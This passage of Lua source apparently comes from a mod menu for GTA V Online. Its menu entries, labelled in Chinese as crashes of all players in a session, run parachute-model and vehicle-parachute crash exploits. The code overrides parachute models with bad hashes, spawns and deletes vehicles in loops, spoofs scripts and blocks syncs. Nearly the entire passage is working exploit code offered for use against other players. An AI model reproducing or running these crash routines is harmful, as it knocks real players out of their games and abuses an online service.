    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),0xAF62F6B2)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped(players.user()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),0x3D6AAA9B)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),634122469)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),634122469)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),28071787)
    TASK.TASK_PARACHUTE_TO_TARGET(players.user_ped(players.user()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),3628567820)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),2478845327)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),965689831)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),366178255)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),2180801487)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),609884033)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
for i = 0 , 1 do
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), 0, 0, 1000)
    PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(players.user(),1264117114)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),-1087,-3012,13.94)
    wait(1200)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()))
    TASK.SET_PARACHUTE_TASK_THRUST(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()),1000)
    end
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID()), -1087,-3012,13.94)
    wait(200)
end)

GTAC(sancrashr, "载具伞崩V1", {}, "崩溃全局玩家", function ()
    carcrashv1()
end)

GTAC(sancrashr, "载具伞崩V2", {}, "崩溃全局玩家", function ()
    notification("开始崩溃，请反复按空格键")
local spped = PLAYER.PLAYER_PED_ID()
local ppos = ENTITY.GET_ENTITY_COORDS(spped, true)
    local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
    local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
    PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 800, false, true, true)
    wait(200)
    VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 148511758)
    VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
    wait(300000)
    entities.delete_by_handle(Ruiner2)
ENTITY.SET_ENTITY_COORDS_NO_OFFSET(spped, ppos.x, ppos.y, ppos.z, false, true, true)
end)

GTAC(sancrashr, "载具伞崩V3", {}, "崩溃全局玩家", function ()
    notification("开始崩溃")
    local SelfPlayerPed = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PLAYER.PLAYER_ID())
    local PreviousPlayerPos = ENTITY.GET_ENTITY_COORDS(SelfPlayerPed, true)
    --^^
    local user = players.user()
    local user_ped = players.user_ped()
    local pos = players.get_position(user)
    ---^^
    local spped = PLAYER.PLAYER_PED_ID()
    local ppos = ENTITY.GET_ENTITY_COORDS(spped, true)
    for i = 1, 5 do
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
        PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 200, false, true, true)
        wait(100)
        VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 	3235319999)
        VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
        wait(100)
        entities.delete_by_handle(Ruiner2)
    end

    for i = 1, 10 do
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
        PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 2000, false, true, true)
        wait(120)
        VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 	260873931)
        VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
        wait(120)
        entities.delete_by_handle(Ruiner2)
    end

    for i = 1, 10 do
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
        PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 1000, false, true, true)
        wait(100)
        VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 	546252211)
        VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
        wait(100)
        entities.delete_by_handle(Ruiner2)
    end


    for i = 1, 8 do
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
        PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 800, false, true, true)
        wait(200)
        VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 	148511758)
        VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
        wait(200)
        entities.delete_by_handle(Ruiner2)
    end

    for i = 1, 10 do
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
        PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 500, false, true, true)
        wait(100)
        VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 	260873931)
        VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
        wait(100)
        entities.delete_by_handle(Ruiner2)
    end
    wait(200)

    for i = 1, 5 do
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
        PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 300, false, true, true)
        wait(500)
        VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 1381105889)
        VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
        wait(500)
        entities.delete_by_handle(Ruiner2)
    end

    for i = 1, 25 do
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
        PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 200, false, true, true)
        wait(150)
        VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 	1500925016)
        VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
        wait(150)
        entities.delete_by_handle(Ruiner2)
    end
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(spped, ppos.x, ppos.y, ppos.z, false, true, true)
    --^^
    for n = 0 , 2 do
        local object_hash = util.joaat("prop_logpile_06b")
        STREAMING.REQUEST_MODEL(object_hash)
          while not STREAMING.HAS_MODEL_LOADED(object_hash) do
           wait()
        end
        PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),object_hash)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(SelfPlayerPed, 0,0,100, false, true, true)
        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(SelfPlayerPed, 0xFBAB5776, 100, false)
        wait(800)
        for i = 0 , 1 do
            PED.FORCE_PED_TO_OPEN_PARACHUTE(SelfPlayerPed)
        end
        wait(800)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(SelfPlayerPed, PreviousPlayerPos.x, PreviousPlayerPos.y, PreviousPlayerPos.z, false, true, true)

        local object_hash2 = util.joaat("prop_beach_parasol_03")
        STREAMING.REQUEST_MODEL(object_hash2)
          while not STREAMING.HAS_MODEL_LOADED(object_hash2) do
           wait()
        end
        PLAYER.SET_PLAYER_PARACHUTE_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),object_hash2)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(SelfPlayerPed, 0,0,100, 0, 0, 1)
        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(SelfPlayerPed, 0xFBAB5776, 100, false)
        wait(800)
        for i = 0 , 1 do
            PED.FORCE_PED_TO_OPEN_PARACHUTE(SelfPlayerPed)
        end
        wait(800)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(SelfPlayerPed, PreviousPlayerPos.x, PreviousPlayerPos.y, PreviousPlayerPos.z, false, true, true)
    end
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(SelfPlayerPed, PreviousPlayerPos.x, PreviousPlayerPos.y, PreviousPlayerPos.z, false, true, true)


    PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), 0xFBF7D21F)
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(user_ped, 0xFBAB5776, 100, false)
    TASK.TASK_PARACHUTE_TO_TARGET(user_ped, pos.x, pos.y, pos.z)
    wait()
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(user_ped)
    wait(300)
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(user_ped, 0xFBAB5776, 100, false)
    PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(user)
    wait(1000)

    for i = 1, 10 do
        util.spoof_script("freemode", SYSTEM.WAIT)
    end
    ENTITY.SET_ENTITY_HEALTH(user_ped, 0)
    NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(pos.x,pos.y,pos.z, 0, false, false, 0)
    for i = 1, 2 do
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(spped, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TTPed), true)
        PED.SET_PED_INTO_VEHICLE(spped, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 150, false, true, true)
        wait(200)
        VEHICLE.VEHICLE_SET_PARACHUTE_MODEL_OVERRIDE(Ruiner2, 	1500925016)
        VEHICLE.VEHICLE_START_PARACHUTING(Ruiner2, true)
        wait(200)
        entities.delete_by_handle(Ruiner2)
    end
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(spped, ppos.x, ppos.y, ppos.z, false, true, true)
    for i = 1, 2 do
    PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), 0xFBF7D21F)
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(user_ped, 0xFBAB5776, 100, false)
    TASK.TASK_PARACHUTE_TO_TARGET(user_ped, pos.x, pos.y, pos.z)
    wait()
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(user_ped)
    wait(200)
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(user_ped, 0xFBAB5776, 100, false)
    PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(user)
    wait(4500)
    for i = 1, 2 do
        util.spoof_script("freemode", SYSTEM.WAIT)
    end
    ENTITY.SET_ENTITY_HEALTH(user_ped, 0)
    NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(pos.x,pos.y,pos.z, 0, false, false, 0)

end
end)

    GTAC(sancrashr, "人物伞崩全局V1", {}, "崩溃全局玩家", function()
        personlcrashv1()
    end)

    GTAC(sancrashr,"人物伞崩全局V2",{},"崩溃全局玩家",function()
        personalcrashv2()
    end)

    GTAC(sancrashr,"人物伞崩全局V3",{},"崩溃全局玩家",function()
        personalcrashv3()
    end)

    GTAC(sancrashr, "人物伞崩全局V4", {}, "崩溃全局玩家", function()
        personalcrashv4()
    end)

    GTAC(sancrashr, "人物伞崩全局V5", {}, "崩溃全局玩家", function()
        personalcrashv5()
    end)

    GTAC(sancrashr,"人物伞崩全局V6",{},"崩溃全局玩家",function()
        rlengzhan()
    end)

GTAC(sancrashr, "人物伞崩全局V7", {""}, "崩溃全局玩家", function()
    PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),0xE5022D03)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
    wait(20)
    local p_pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),p_pos.x,p_pos.y,p_pos.z,false,true,true)
    WEAPON.GIVE_DELAYED_WEAPON_TO_PED(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()), 0xFBAB5776, 1000, false)
    TASK.TASK_PARACHUTE_TO_TARGET(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()),-1087,-3012,13.94)
    wait(500)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
    wait(1000)
    PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID())
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
 end)

 GTluaScript.click_slider(sancrashr,"人物伞崩全局V8", {""}, "1 = 车伞 , 2 = 伞崩", 1, 2, 1, 1, function(on_change)
	if on_change == 1 then
    notification("崩溃开始" ,colors.red)
    local user = players.user_ped()
    local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
    local old_pos = ENTITY.GET_ENTITY_COORDS(user, false)
    local mdl = util.joaat("apa_mp_apa_yacht")
    BlockSyncs(pid, function()
    PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),0xE5022D03)
    local TPP = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
    local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(TPP, true)
    local SelfPlayerPed = CreatePed(26, util.joaat("player_one"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed))  
    for i = 0 , -1 do 
    local SelfPlayerPed = CreatePed(26, util.joaat("player_one"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed))      
    ENTITY.SET_ENTITY_INVINCIBLE(SelfPlayerPed, true)
    wait()
    end
    for i = 1, 20 do                     
    ENTITY.SET_ENTITY_INVINCIBLE(SelfPlayerPed, true)
    local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed), true)
    PED.SET_PED_INTO_VEHICLE(SelfPlayerPed, Ruiner2, -1)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 1000, false, true, true)
    wait(200)
    PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),0xE5022D03)
    VEHICLE._SET_VEHICLE_PARACHUTE_MODEL(Ruiner2, util.joaat("prop_logpile_07b"))
    VEHICLE._SET_VEHICLE_PARACHUTE_ACTIVE(Ruiner2, true)
    wait(200)
    entities.delete_by_handle(Ruiner2)
    end
    notification("崩溃结束" ,colors.green)
end)
    end
	if on_change == 2 then
        notification("崩溃开始" ,colors.red)
        local user = players.user_ped()
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
        local old_pos = ENTITY.GET_ENTITY_COORDS(user, false)
        local mdl = util.joaat("apa_mp_apa_yacht")
        BlockSyncs(pid, function()
        PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),0xE5022D03)
        local TPP = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        local SelfPlayerPos = ENTITY.GET_ENTITY_COORDS(TPP, true)
        local SelfPlayerPed = CreatePed(26, util.joaat("player_one"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed))  
        for i = 0 , -1 do 
        local SelfPlayerPed = CreatePed(26, util.joaat("player_one"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed))      
        ENTITY.SET_ENTITY_INVINCIBLE(SelfPlayerPed, true)
        wait()
        end
        for i = 1, 20 do                     
        ENTITY.SET_ENTITY_INVINCIBLE(SelfPlayerPed, true)
        local Ruiner2 = CreateVehicle(util.joaat("Ruiner2"), SelfPlayerPos, ENTITY.GET_ENTITY_HEADING(TargetPlayerPed), true)
        PED.SET_PED_INTO_VEHICLE(SelfPlayerPed, Ruiner2, -1)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(Ruiner2, SelfPlayerPos.x, SelfPlayerPos.y, 1000, false, true, true)
        wait(200)
        PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),0xE5022D03)
        VEHICLE._SET_VEHICLE_PARACHUTE_MODEL(Ruiner2, util.joaat("v_ilev_light_wardrobe_face"))
        VEHICLE._SET_VEHICLE_PARACHUTE_ACTIVE(Ruiner2, true)
        wait(200)
        entities.delete_by_handle(Ruiner2)
        end
        notification("崩溃结束" ,colors.green)
    end)
end
end)

    GTAC(crashr, "韦德崩溃", {}, "崩溃全局玩家", function()
        wadecrash()
    end)

    GTAC(crashr, "耶稣的救赎", {}, "", function ()
        jesus_help_me()
    end)

    GTAC(crashr, "大傻逼全局崩", {}, "大概率自崩", function (on)
    wait(9000)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(players.user_ped(),players.user_ped(), 1, 1, 1, 1, 1, 1, 1, true, true, true, false, 1, true)
    end)

 GTAC(donggeb,"董哥崩溃v1",{}, "", function()
    Change_player_model(0x9C9EFFD8)
    local land_area = {
        v3(1798.031,-2831.863,3.562),
        v3(-245.300,-656.019,33.168),
        v3(-2561.787,3175.436,32.820),
        v3(58.667,7198.895,3.372),
        v3(1279.582,3064.881,40.534),
        v3(3003.555,5777.601,300.729),
        v3(460.582,5572.078,781.179),
        v3(3615.213,5024.245,11.396),
        v3(3668.583,5645.834,11.537),
        v3(2027.388,-1588.856,251.008),
        v3(-1240.75,-587.97,27.25)
        }
    for i ,crashpos in pairs(land_area) do
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped(players.user()))
    wait(0)
        local crash_num = 2
        pack_crash = util.create_thread(function()
            while crash_num == 2 do
                    for set_para_packmodel = 0 ,50 do
                        crash_pack = ENTITY.ATTACH_ENTITY_BONE_TO_ENTITY_BONE_Y_FORWARD(players.user(),util.joaat("v_res_tt_fridge"))
                        wait(100)      				
                    end
                end
        end,nil)
        pos = crashpos
        pos.z = pos.z + 0.22
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(crashpos, pos.x, pos.y, pos.z)
        WEAPON.GIVE_DELAYED_WEAPON_TO_PED(players.user_ped(players.user()),0xFBAB5776,1000,false)
        TASK.TASK_PARACHUTE_TO_TARGET(players.user_ped(players.user()),-1087,-3012,13.94)
        wait(600)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped(players.user()))		
        wait(1000)
    end
    ENTITY.ATTACH_ENTITY_BONE_TO_ENTITY_BONE_Y_FORWARD(players.user()) 
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(players.user_ped(players.user()))
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(players.user_ped(players.user()),-1087,-3012,13.94)
end)

GTAC(donggeb, "董哥崩溃v2", {}, "", function()
    PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(PLAYER.PLAYER_ID(),0xE5022D03)
    TASK.CLEAR_PED_TASKS_IMMEDIATELY(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user()))
    wait(3)
